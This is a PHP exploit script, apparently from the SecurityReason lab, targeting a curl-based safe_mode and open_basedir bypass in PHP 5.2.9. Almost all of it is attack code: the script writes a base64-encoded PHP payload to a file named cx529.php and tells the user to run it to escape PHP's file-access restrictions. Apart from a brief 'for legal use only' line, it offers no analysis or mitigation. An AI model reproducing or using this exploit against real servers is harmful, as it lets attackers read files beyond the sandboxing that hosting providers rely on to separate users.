PHP 5.2.9 Bypass Exploit

`<?php  
/* SecurityReason.com - Security Audit Stuff  
  
PHP 5.2.9 curl safe_mode & open_basedir bypass  
http://securityreason.com/achievement_securityalert/61  
  
exploit from "SecurityReason - Security Audit" lab.  
for legal use only  
  
http://securityreason.com/achievement_exploitalert/11  
  
author: Maksymilian Arciemowicz  
cxib [a&t] securityreason [0.0] com  
  
R.I.P. ladyBMS  
  
*/  
  
$freiheit=fopen('./cx529.php', 'w');  
  
fwrite($freiheit, base64_decode("  
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T05UPic7DQoNCmN1cmxfY2xvc2UoJGNoKTsNCg0KPz4=  
"));  
  
fclose($freiheit);  
  
echo "exploit has been generated . use cx529.php file";  
?>  
  
`